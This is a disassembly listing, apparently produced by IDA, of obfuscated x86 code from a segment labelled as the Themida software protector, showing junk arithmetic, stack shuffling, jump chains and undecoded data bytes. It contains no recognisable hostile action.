		db 0
; ---------------------------------------------------------------------------


loc_557F59:				; CODE XREF: Themida_:00558E49j
		add	esp, 4
		jmp	loc_555D3A
; ---------------------------------------------------------------------------
aRss		db 'R',0Bh,0
		db 0
; ---------------------------------------------------------------------------


loc_557F67:				; CODE XREF: Themida_:0055E7FFj
		pop	esp
		push	esp
		pop	dword ptr [esp]
		jmp	loc_55AD40
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 5E1AE9h, 5BFE2000h, 35DE952h, 0EB810000h, 738F464Ah
		dd 0C381FB01h, 738F464Ah, 8B5B2388h, 0C4812404h, 4, 81241C8Bh
		dd 4C4h, 786CE900h, 48BFFFFh, 4EC8324h,	89241C89h, 26E868E3h
		dd 34890000h, 2E21BE24h, 0DEF731FEh, 4EC834Eh, 87243489h
		dd 0E951240Ch, 50A2h, 0F989D789h, 24148B5Fh, 6804C483h
		dd 6056h, 0E9243489h, 0B533h, 66DAF766h, 7B98C281h, 0D5BD6655h
		dd 0F5816620h, 9660E54h, 0C1665DEAh, 0F76605EAh, 665066D2h
		dd 66C2EAB8h, 28E9C231h, 51000015h, 0C181E189h,	4, 0FF8D55E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558025:				; CODE XREF: Themida_:00555A60j
		add	ebx, 1B6D0044h
		jmp	loc_562E51
; ---------------------------------------------------------------------------


loc_558030:				; CODE XREF: Themida_:0056276Cj
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_55A2A9
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0C9EBh, 8124048Bh, 4C4h,	57DE2900h, 0CC220ABFh
		dd 0E9FE2900h, 0BD80h
; ---------------------------------------------------------------------------


loc_55805C:				; CODE XREF: Themida_:0055F71Ej
		add	edx, edi
		add	edx, 7AA66F83h
		mov	ecx, [edx]
		jmp	loc_55256E
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 2414D259h, 779CE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55807A:				; CODE XREF: Themida_:00553D8Cj
		push	ecx
		mov	ecx, 352A24DCh
		mov	edx, ecx
		pop	ecx
		push	ecx
		mov	ecx, 1F5B4FE1h
		xor	edx, ecx
		pop	ecx
		sub	edx, 3CBF4C3Ch
		push	edi
		mov	edi, 0DD11095h
		push	edi
		sub	esp, 4
		mov	[esp], ebx
		pop	edi
		pop	ebx
		not	ebx
		xchg	ebx, edi
		shr	edi, 4
		shr	edi, 2
		push	0FE3h
		mov	[esp], edi
		xchg	edi, [esp]
		dec	edi
		xchg	edi, [esp]
		pop	edi
		jmp	loc_558539
; ---------------------------------------------------------------------------
		db 80h
		dd 0B652ECCCh, 58F68040h, 0FFAE2CE9h, 4C483FFh,	0FF8E0AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5580D9:				; CODE XREF: Themida_:00558166j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		pop	ecx
		and	ecx, edx
		jmp	loc_555B90
; ---------------------------------------------------------------------------
		dd 433225B8h, 48D8F71Bh, 0E902E8C1h, 1A54h, 68F2875Eh
		dd 2EEBh, 0BB241C89h, 8896BE0h,	0FF8820E9h, 8BFA31FFh
		dd 8957243Ch, 4C781E7h,	83000000h, 3C8704C7h, 24248B24h
		dd 40D0F792h, 0E9DAF792h, 0FFFF8B70h, 8B243C33h, 0EDE92424h
		dd 52000009h, 4BAh, 5AD30100h, 5C241C87h, 8219E9h
		db 0
; ---------------------------------------------------------------------------


loc_55814D:				; CODE XREF: Themida_:00564D3Cj
		and	ebp, 75115D0Ch
		push	ebp
		inc	dword ptr [esp]
		pop	ebp
		xor	ebp, 74014C0Dh
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5580D9
; ---------------------------------------------------------------------------
		db 33h
		dd 14312414h, 24143324h, 6624248Bh, 2404AB0Fh, 7694E99Ch
		dd 895CFFFFh, 0C768241Ch, 8900002Dh, 4812424h, 424h, 0ABE95B00h
		dd 1FFFFB2h, 0BE5658C3h, 441B79BFh, 0FFC76FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5581A9:				; CODE XREF: Themida_:005573D3j
		pop	ebp
		jmp	loc_556866
; ---------------------------------------------------------------------------
		db 51h
		dd 4B9h, 59C82900h, 5C240487h, 50241489h, 7650E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5581C6:				; CODE XREF: Themida_:005600EFj
		xchg	ebx, [esp]
		pop	esp
		push	55FFh
		mov	[esp], ebp
		push	1DC6h
		mov	[esp], esp
		jmp	loc_5502D7
; ---------------------------------------------------------------------------
		db 81h
		dd 5322A1F1h, 9A9CE9D7h, 0C083FFFFh, 24048704h,	4C7815Ch
		dd 0E9000000h, 0B34h, 2924248Bh, 0E99C2404h, 0FFFF760Eh
		dd 4C681h, 68550000h, 2, 83242C8Bh, 46E904C4h, 54FFFFC0h
		dd 52DE9h, 91E95500h
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55822B:				; CODE XREF: Themida_:0055C351j
		mov	esi, 5D4D1E22h
		add	esi, 110E075Fh
		add	edi, 7857362Ah
		sub	edi, esi
		sub	edi, 7857362Ah
		jmp	loc_552D4F
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 89243C89h, 159968E7h, 34890000h, 4BE24h, 0C1E90000h
		dd 800000A6h, 0C580E2E5h, 0E9EE283Ch, 27EAh
; ---------------------------------------------------------------------------


loc_558270:				; CODE XREF: Themida_:0055263Aj
		xor	[ebx], edx
		pop	ebx
		jmp	loc_5557A9
; ---------------------------------------------------------------------------
		dd 1E90E953h, 0FD880000h, 0E9241C8Bh, 0FFFFE11Ch
; ---------------------------------------------------------------------------


loc_558288:				; CODE XREF: Themida_:0055291Fj
		add	eax, 34AF7E58h
		shr	eax, 5
		add	eax, 618246Eh
		add	eax, 0F71613E0h
		add	ebp, eax
		pop	eax
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		push	2ABCh
		mov	[esp], ecx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		push	19B2h
		jmp	loc_5552F2
; ---------------------------------------------------------------------------
		dw 0D189h
		dd 244C015Ah, 48F5904h,	0B9515324h, 352106EFh, 6EBF181h
		dd 25E93521h, 0F600005Dh, 5A012454h, 0E9F78853h, 0FFFFB5D0h
		dd 20EBE681h, 0E95149A3h, 0FFFFA149h, 6604C483h, 32EA6853h
		dd 0D6E90000h, 54FFFFA3h, 4C7815Fh, 51000000h, 1BE7BD55h
		dd 0C5814E1Ch, 3E8315BDh, 0FF9497E9h, 5EF701FFh, 5C243C87h
		dd 0FF2434FFh, 57592434h, 0B8DFE9h, 815B5400h, 4C3h, 4DC8E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558342:				; CODE XREF: Themida_:0055B0D4j
		push	ebx
		pop	esi
		pop	ebx
		not	ebx
		xchg	ebx, esi
		push	66E1h
		mov	[esp], eax
		push	esi
		pop	eax
		pop	esi
		push	2D3Bh
		mov	[esp], ecx
		jmp	loc_555708
; ---------------------------------------------------------------------------
		db 68h,	0B2h, 2
		dd 3C890000h, 3AE95124h, 10000C7h, 4335FF8h, 24043124h
		dd 8B240433h, 0C3802424h, 0E9C30087h, 20h, 0E6B95159h
		dd 490A0F3Bh, 0D9F7D1F7h, 4EC81h, 2C890000h, 4EC8124h
		dd 0E9000000h, 8D92h, 0B4505352h, 58E788A2h, 0B45029B6h
		dd 0B877E960h, 0F8280000h, 2C5BEC04h, 4EC813Fh,	89000000h
		dd 5A542414h, 15B068h, 242C8900h, 92BAE9h, 40500h, 0D2E90000h
		dd 53FFFFBBh, 0C381E389h, 4, 4C381h, 1C330000h,	241C3124h
		dd 8B241C33h, 0CB812424h, 14EE4000h, 1C381h, 0C3810000h
		dd 41018341h, 335BD801h, 4312404h, 0E5AAE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55841E:				; CODE XREF: Themida_:0056319Ej
		pop	esp
		push	127Fh
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_55F09D
; ---------------------------------------------------------------------------


loc_55842E:				; CODE XREF: Themida_:005501E0j
		pop	ecx
		push	ebx
		mov	bl, 8Ah
		inc	bl
		add	bl, 5Ch
		and	dl, bl
		jmp	loc_55D6CB
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 400FDh, 60DE9h, 5E07BE00h, 0F021353Eh, 7493E9h, 8B666400h
		dd 7C626802h, 78E90000h, 58FFFFC8h, 0FAE9D2F6h,	1FFFF80h
		dd 0C1C181F1h, 553C7F6Fh, 0FFC4B4E9h, 58E220FFh, 0FF9531E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558481:				; CODE XREF: Themida_:005624BBj
		pop	edi
		add	ebp, edx
		pop	edx
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		shr	eax, 0Bh
		jmp	loc_555B42
; ---------------------------------------------------------------------------
		dd 348BF701h, 4C48124h,	0C1000000h, 0E95605EFh,	6FB5h
; ---------------------------------------------------------------------------


loc_5584AC:				; CODE XREF: Themida_:00557046j
		push	eax
		mov	eax, 0F0FA2CEBh
		add	esi, eax
		jmp	loc_55F36F
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 4870000h, 0C3295C24h, 5962C381h, 0B8502E76h,	35F864B5h
		dd 0FFCD7EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5584D5:				; CODE XREF: Themida_:0055B11Fj
		add	edi, edx
		pop	edx
		jmp	loc_5539A6
; ---------------------------------------------------------------------------


loc_5584DD:				; CODE XREF: Themida_:00559D7Ej
		pop	edx
		push	eax
		mov	eax, 31C77893h
		push	edi
		mov	edi, 34BA4F02h
		push	edx
		mov	edx, 67346150h
		xor	edi, edx
		jmp	loc_55FA7F
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0BB13E900h, 0E9800000h, 0AFC380EBh, 0EB80CB00h
		dd 0EC8359AFh, 240C8904h, 0E9F4B450h, 0B3BDh, 477788BDh
		dd 0EDC14D14h, 6802h, 46E90000h, 68FFFFE7h, 1960h, 1B12E9h
		db 0
; ---------------------------------------------------------------------------


loc_558539:				; CODE XREF: Themida_:005580BEj
		dec	edi
		push	edx
		mov	edx, 642F0CEFh
		neg	edx
		not	edx
		sub	edx, 74B46834h
		xor	edi, edx
		jmp	loc_552B03
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 4BD242Ch,	0E9000000h, 0FFFF803Bh,	0FF491A2Dh
		dd 13580515h, 34FF0959h, 64ABE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558576:				; CODE XREF: Themida_:00550928j
		push	esi
		mov	esi, 0A56E6F78h
		push	edi
		mov	edi, 7B84B34h
		add	ecx, edi
		pop	edi
		add	ecx, esi
		sub	ecx, 7B84B34h
		pop	esi
		sub	edi, ecx
		pop	ecx
		push	edi
		mov	edi, 7DD21DD4h
		xor	edi, 1E01755Ch
		sub	ebx, edi
		pop	edi
		push	edi
		mov	edi, 60736B90h
		jmp	loc_55705E
; ---------------------------------------------------------------------------
		db 56h
		dd 0FFE824E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5585B1:				; CODE XREF: Themida_:00563916j
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 0AF7760Ch
		xor	ecx, esi
		pop	esi
		push	42A6h
		mov	[esp], eax
		push	5548h
		mov	[esp], esi
		jmp	loc_5545F7
; ---------------------------------------------------------------------------
		db 83h
		dd 0C58104C4h, 4, 3FD568h, 24148900h, 468h, 0D5015A00h
		dd 0FF8A77E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558611:				; CODE XREF: Themida_:0055B6A4j
		add	esi, 0FE7033C0h
		mov	ebp, esi
		pop	esi
		sub	ecx, 6D706416h
		add	ecx, ebp
		add	ecx, 6D706416h
		pop	ebp
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		jmp	loc_5644EF
; ---------------------------------------------------------------------------
		dd 56E78957h, 4579D668h, 7BAAE946h, 0C8BFFFFh, 7998E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55864E:				; CODE XREF: Themida_:005534CFj
		add	eax, 4
		jmp	loc_55A154
; ---------------------------------------------------------------------------
		dd 3694B850h, 840562B1h, 1B3CB2Bh, 0FB2958C3h, 6218EB81h
		dd 815F167Ch, 0B52FC5C3h, 81EB2941h, 0B52FC5EBh, 0A6C38141h
		dd 5D6FE73Ah, 0E9241C33h, 52BEh
; ---------------------------------------------------------------------------


loc_55868C:				; CODE XREF: Themida_:00558975j
		xor	edx, 20361386h
		or	edx, 6E252DD2h
		shr	edx, 6
		add	edx, 17785Dh
		jmp	loc_557A09
; ---------------------------------------------------------------------------
		dw 0E9ADh
		dd 0FFFFB181h, 0BFEE950h, 815B0000h, 2EAh, 24148700h, 98A0E9h
		dd 12EF8100h, 5E12721Dh, 505FF901h, 43EAE9h, 4C68100h
		dd 51000000h, 0E165E953h, 1768FFFFh, 8B0CE327h,	0C481241Ch
		dd 4, 13206857h, 1C890000h, 3369BB24h, 89511874h, 59CF89D9h
		dd 0FF7CEBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558705:				; CODE XREF: Themida_:0055E75Ej
		push	4EBh
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_55A559
; ---------------------------------------------------------------------------


loc_55871F:				; CODE XREF: Themida_:00555311j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_5540C2
; ---------------------------------------------------------------------------
		dw 0F301h
aB@Sxk		db ']^@^XK',0
		align 4
		dd 6851525Fh, 216C3958h, 81240C8Bh, 4C4h, 0EE03E900h, 815BFFFFh
		dd 4C3h, 4EB8100h, 0E9000000h, 0FFFFE905h, 0F13EE95Eh
		dd 0C181FFFFh, 423C3CEEh, 4C1815Dh, 33000000h, 0C31240Ch
		dd 240C3324h, 8324248Bh, 0C8904ECh, 0C0DDB524h,	0EDC003E5h
		dd 0F6CDFE07h, 52B252DDh, 12BFE9h, 41EB8100h, 81542D3Fh
		dd 200F6AC3h, 2434FF7Eh, 4C4815Dh, 81000000h, 382CA8C3h
		dd 56EB2954h, 382CA868h, 0F3295E54h, 8DEB815Eh,	0FF60CF52h
		dd 505D2434h, 4055854h,	0E9000000h, 0FFFFFCDDh,	82810B05h
		dd 8AE950E0h, 3300004Dh, 34312434h, 24343324h, 8124248Bh
		dd 4C4h, 68C80F00h, 7326h, 68243C89h, 6F10h, 0E9242489h
		dd 0FFFFD49Ah, 0E7BAE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558816:				; CODE XREF: Themida_:0055F171j
		pop	eax
		push	5DBCh
		jmp	loc_563681
; ---------------------------------------------------------------------------
aBiSr		db '!<-',27h,')r',7,0
		align 2
		dw 481h
		dd 424h, 0C2815A00h, 4,	8704C283h, 815C2414h, 4C3h, 2C38100h
		dd 0E9000000h, 0C04Dh
; ---------------------------------------------------------------------------


loc_558854:				; CODE XREF: Themida_:005638C9j
		neg	bp
		and	bp, 17E5h
		jmp	loc_55D362
; ---------------------------------------------------------------------------
		db 0BDh, 40h, 1
aUmIBilqhHf7	db 'M)]lhhF7',0
		align 4
		dd 0BD242C89h, 4C225F86h, 0C4C5814Dh, 0E91A523Dh, 0C0DCh
; ---------------------------------------------------------------------------


loc_558888:				; CODE XREF: Themida_:00551177j
		mov	edi, 7CE30E8Dh
		sub	edi, 1C0660DBh
		and	edi, 249A63F9h
		shr	edi, 5
		sub	edi, 104C109h
		add	ecx, 668847BBh
		sub	ecx, edi
		sub	ecx, 668847BBh
		pop	edi
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		push	eax
		push	774C5A3Ah
		pop	eax
		add	eax, 88B3A5C7h
		push	esi
		mov	esi, eax
		mov	edx, esi
		pop	esi
		pop	eax
		and	eax, edx
		push	dword ptr [esp]
		jmp	loc_554520
; ---------------------------------------------------------------------------


loc_5588D5:				; CODE XREF: Themida_:005529D3j
		push	eax
		mov	eax, 78F73821h
		inc	eax
		or	eax, 2AD52389h
		add	eax, 48FC4993h
		xor	eax, 576D03C0h
		sub	eax, 72AE58B2h
		and	ecx, eax
		jmp	loc_5598D7
; ---------------------------------------------------------------------------


loc_5588F7:				; CODE XREF: Themida_:005542E6j
		push	esi
		mov	esi, 4B700C50h
		xor	esi, 0A4D3E7Eh
		sub	ebx, esi
		jmp	loc_55107A
; ---------------------------------------------------------------------------
		dw 433h
		dd 24043124h, 8B240433h, 29662424h, 0E99C2404h,	0FFFF6EF6h
		dd 0FF6EF1E9h, 242C8BFFh, 5E08950h, 4, 8704C083h, 248B2404h
		dd 0F5E95324h, 51000077h, 10AF6B9h, 0E9814106h,	6010AF3h
		dd 5559C801h, 4BDh, 5DE80100h, 5C240487h, 644568h, 0B2EBE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558966:				; CODE XREF: Themida_:00551F34j
		add	esi, 39556DF3h
		push	edx
		push	406B3164h
		pop	edx
		not	edx
		jmp	loc_55868C
; ---------------------------------------------------------------------------


loc_55897A:				; CODE XREF: Themida_:0055C51Aj
		xchg	ecx, [esp]
		pop	esp
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		dd 8EFCE961h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55898A:				; CODE XREF: Themida_:0055B13Cj
		pop	eax
		xor	eax, 0F237B0C0h
		and	ebp, eax
		pop	eax
		neg	ebp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 5107020h
		jmp	loc_55718C
; ---------------------------------------------------------------------------


loc_5589A5:				; CODE XREF: Themida_:00564256j
		mov	[esp], edi
		mov	edi, 38675469h
		xor	edx, edi
		mov	edi, [esp]
		add	esp, 4
		shr	edx, 7
		add	edx, 53986B7Ah
		push	ebx
		push	esi
		push	2ED62387h
		mov	esi, [esp]
		push	ebx
		push	esp
		jmp	loc_55A530
; ---------------------------------------------------------------------------
		dw 0ED80h
		dd 7301E98Eh, 0F581FFFFh, 0CF378B46h, 0E0895056h, 405h
		dd 0AC32E900h, 0C483FFFFh, 6B686604h, 0C89662Ah, 0B1515224h
		dd 80D1F676h, 0C180B7E9h, 59CA8876h, 0D130ECB1h, 66C8305Ah
		dd 83240C8Bh, 48904ECh,	0D7EAE924h, 6866FFFFh, 0C7E967FBh
		dd 81FFFF9Bh, 4C6h, 84CAE900h, 0C4830000h, 2FE95704h, 53FFFF9Ch
		dd 671DE9h, 4C38100h, 87000000h, 248B241Ch, 2404FF24h
		dd 6DC0E99Ch, 0EE81FFFFh, 5F8D00B7h, 0FFC317E9h, 6C9135FFh
		dd 0C2891D9Ah, 582434FFh, 3F2268h, 243C8900h, 0C781E789h
		dd 4, 1F2CE9h
		db 0
; ---------------------------------------------------------------------------


loc_558A81:				; CODE XREF: Themida_:00563AF9j
		pop	ecx
		neg	dh
		sub	dh, 30h
		push	148Dh
		jmp	loc_55E5A4
; ---------------------------------------------------------------------------


loc_558A91:				; CODE XREF: Themida_:00558AC2j
		dec	word ptr [esp]
		pushf
		jmp	loc_54F816
; ---------------------------------------------------------------------------


loc_558A9B:				; CODE XREF: Themida_:0055B127j
		xchg	eax, [esp]
		mov	esp, [esp]
		neg	ecx
		sub	ecx, 6D77163Eh
		push	ebx
		mov	ebx, 0BB1DAF01h
		add	ecx, ebx
		pop	ebx
		add	esi, ecx
		pop	ecx
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_558A91
; ---------------------------------------------------------------------------


loc_558AC7:				; CODE XREF: Themida_:00556F8Ej
		pop	edi
		mov	ebp, 7B5921E8h
		add	ebp, 6FC673F5h
		jmp	loc_5519DD
; ---------------------------------------------------------------------------
		dd 81E18951h, 4C1h, 4C18300h, 2474FF51h, 0AAE95904h, 0FFFF70h
		dd 4EEF80F7h, 8B81C780h, 20E92414h, 0BA000094h,	70CD18ACh
		dd 0F281D2F7h, 0B3237D5h, 815AD101h, 4ECh, 242C8900h, 0EB52A268h
		dd 0EF295D76h, 0E9242C8Bh, 8590h, 68241489h, 2FFDh, 0FF240489h
		dd 148B2434h, 4C48324h,	835E5456h, 0FCE904ECh, 0F7000089h
		dd 0E31E9D0h, 0E8C10000h, 0B55BE902h, 48F0000h,	24248B24h
		dd 0A46DE9h, 0F7015800h, 0FF77FDE9h, 4C483FFh, 34FFD109h
		dd 54565A24h, 4C6815Eh,	81000000h, 4C6h, 24348700h, 0FF8D71E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558B89:				; CODE XREF: Themida_:005514F9j
		pop	esi
		jmp	loc_551D18
; ---------------------------------------------------------------------------
		db 0FFh
		dd 835F2434h, 67E904C4h, 810000C1h, 4ECh, 24048900h, 96CB3B8h
		dd 6BC63522h, 0C129737Ah, 93C18158h, 5A3F3549h,	26855h
		dd 2C8B0000h, 4C48124h,	0E9000000h, 35Dh, 4EC835Dh, 53240C89h
		dd 51828BBh, 245C016Bh,	815D5B04h, 51828EDh, 240C8B6Bh
		dd 4C481h, 0E9010000h, 0FFA4C8E9h, 0C8B66FFh, 26516824h
		dd 34890000h, 0EED1E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558C06:				; CODE XREF: Themida_:00560BEEj
		mov	ecx, 584E78E7h
		jmp	loc_5533F2
; ---------------------------------------------------------------------------


loc_558C10:				; CODE XREF: Themida_:00554DFCj
		add	ebx, 538A5420h
		add	ebx, edi
		sub	ebx, 538A5420h
		pop	edi
		push	eax
		push	35024F59h
		pop	eax
		shl	eax, 7
		add	eax, 330733Ch
		jmp	loc_552FD0
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832404h, 10EA8104h, 1169714h, 10C281FAh, 0E9169714h
		dd 0FFFF82B4h
; ---------------------------------------------------------------------------


loc_558C4C:				; CODE XREF: Themida_:00558F87j
		xor	eax, 71056BB9h
		xor	eax, 90134EF6h
		jmp	loc_550EC1
; ---------------------------------------------------------------------------
		db 80h
		dd 0B05010C3h, 0BF87E929h, 0E4680000h, 89000009h, 4812424h
		dd 424h, 0C2815A00h, 4,	0FFB542E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558C81:				; CODE XREF: Themida_:005636BBj
		add	esp, 4
		jmp	loc_555F27
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd offset dword_457444+444A5h
		dd 5DE92900h, 0E959CA29h, 0FFFFD5A7h, 6AE8E981h, 0F181358Fh
		dd 15007485h, 51E98149h, 8188126Ah, 0F77ED6C6h,	81CE0138h
		dd 0F77ED6EEh, 51555938h, 0FFA42FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558CC5:				; CODE XREF: Themida_:00557EA5j
		mov	edx, ebp
		pop	ebp
		shl	edx, 5
		shl	edx, 5
		neg	edx
		add	edx, 198E399Eh
		push	edi
		push	ecx
		push	ebp
		mov	ebp, 7A785BE8h
		mov	ecx, ebp
		pop	ebp
		and	ecx, 2B581245h
		push	edx
		jmp	loc_552957
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 10h
		dd 813FD919h, 0AD425BE9h, 6E1C147h, 0B3C3E9h, 4C38100h
		dd 87000000h, 0E95C241Ch, 0FFFF7945h, 81240C89h, 58062434h
		dd 0E95A6E38h, 7F11h, 8101C183h, 18331CC1h, 0E9CB01D9h
		dd 0BAFCh, 4C781h, 3C870000h, 3C8B5C24h, 4C48124h, 0E9000000h
		dd 0FFFF6ACEh, 0A4A68h,	242C8900h, 0B32AC7BDh, 6FA3E96Fh
		dd 87510000h, 0D6F72434h, 59243487h, 0C1814141h, 0C3113C7Ch
		dd 8904EC83h, 3BB241Ch,	3159D64Eh, 7764E9D9h, 0F000FFFFh
		dd 1318685Ah, 0BEE90000h, 8BFFFF7Dh, 0C4812414h, 4, 5003ECC0h
		dd 0FFD331E9h, 243C8BFFh, 81E68956h, 4C6h, 751BE900h, 0EE890000h
		dd 5D2434FFh, 4C481h, 815B0000h, 9B156DE6h, 0DECE8110h
		dd 812F691Ch, 0E3822CEh, 27F68123h, 8119FB46h, 7B842BC6h
		dd 0FFF089D9h, 0E95E2434h, 9F1Ah, 8B241433h, 0B3682424h
		dd 0E9000045h, 0FFFFA824h, 2E0FBB53h, 0DF31641Eh, 8BF9315Bh
		dd 0C481243Ch, 4, 7E5A7C2Dh, 7EFE2D42h,	0C82962FEh, 0FE7EFE05h
		dd 0DAE95562h
		db 65h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558E1F:				; CODE XREF: Themida_:0055700Cj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	esp, 4
		xor	edx, ecx
		mov	ecx, [esp]
		add	esp, 4


loc_558E3D:				; CODE XREF: Themida_:00552703j
					; Themida_:0055611Cj
		push	ebx
		push	24h
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_557F59
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 4C781h, 0BA520000h, 4, 148BD701h, 4C48124h, 33000000h
		dd 3C31243Ch, 377FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558E72:				; CODE XREF: Themida_:005636EEj
		push	ebx
		jmp	loc_562EFE
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 0FFFFA498h, 1FE2EE81h, 0E95F1C74h, 0FFFF79B2h
		dd 53242C8Bh, 0C3815B54h, 4, 8704C383h,	15C241Ch, 0ADBFE9CBh
		dd 0EC88FFFFh, 88515B59h, 59CE88E1h, 0FF921AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558EB5:				; CODE XREF: Themida_:0055647Bj
		xor	ecx, [esp]
		jmp	loc_559977
; ---------------------------------------------------------------------------
		db 0BDh, 2, 0
		dd 0EF010000h, 0E9242C8Bh, 838h
; ---------------------------------------------------------------------------


loc_558ECC:				; CODE XREF: Themida_:0055BB76j
		pop	edx
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 57E80887h
		add	edi, 8C95B78h
		add	edi, 46B6BCEh
		xor	edi, 5709D554h
		add	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		shr	ebp, 4
		and	ebp, 7042191Dh
		push	edx
		mov	edx, 6C435D9Fh
		jmp	loc_560FAE
; ---------------------------------------------------------------------------
		db 5Bh
		dd 5C24048Fh, 908B850h,	0ED810010h, 1BB36E11h, 0FF8C36E9h
		dd 8BE901FFh, 8952242Ch, 0CDD9E9E2h, 0B353FFFFh, 7246E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558F3E:				; CODE XREF: Themida_:00555F3Fj
		push	edi
		mov	edi, 3D930250h
		and	esi, edi
		pop	edi
		jmp	loc_55A3EB
; ---------------------------------------------------------------------------
		dd 8953C331h, 1163E9E3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558F56:				; CODE XREF: Themida_:005500CAj
		mov	edx, [esp]
		jmp	loc_559C1E
; ---------------------------------------------------------------------------
		dw 8F58h
		dd 248B2404h, 960E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558F6A:				; CODE XREF: Themida_:005503D4j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		sub	eax, 4846933h
		jmp	loc_558C4C
; ---------------------------------------------------------------------------
		dd 0AB5AE947h, 815DFFFFh, 1809A3EDh, 0E9575F2Ah, 0FFFFBAF1h
		dd 0C49CE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558FA6:				; CODE XREF: Themida_:0055C975j
		add	ebx, 66464DC3h
		add	ebx, eax
		sub	ebx, 66464DC3h
		pop	eax
		push	ecx
		mov	ecx, 254301C1h
		sub	ecx, 254301BDh
		add	ebx, ecx
		pop	ecx
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		or	eax, eax
		jmp	loc_55F6F7
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483241Ch, 4C48304h, 7951C781h, 0EF810F0Ch,	6F4F79D4h
		dd 3EFEE9h, 51DE2900h, 1D1C05B9h, 81D1F77Eh, 0E6BD4C1h
		dd 0D9F18166h, 816F765Fh, 646544C1h, 67C1816Ch,	296F4F9Ch
		dd 480BE9CEh, 34890000h, 81E68924h, 4C6h, 4EE8100h, 87000000h
		dd 248B2434h, 99CBE924h, 0CF010000h, 0DAC3E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55903E:				; CODE XREF: Themida_:005538A9j
		mov	edx, 198E0324h
		add	ebx, edx
		pop	edx
		add	ecx, 545271FBh
		sub	ecx, ebx
		sub	ecx, 545271FBh
		jmp	loc_561C24
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 8124048Bh, 4C4h, 73286800h, 3C890000h, 81E78924h, 4ECh
		dd 240C8900h, 1285E955h, 5A540000h, 4C281h, 0C2830000h
		dd 24148704h, 36E9565Ch, 8700002Ah, 0EE9243Ch, 0FFFFFFC8h
		dd 34FF2434h, 9E685924h, 89000063h, 0E2892414h,	4C281h
		dd 0EA830000h, 24143304h, 33241431h, 895C2414h,	0C6E9243Ch
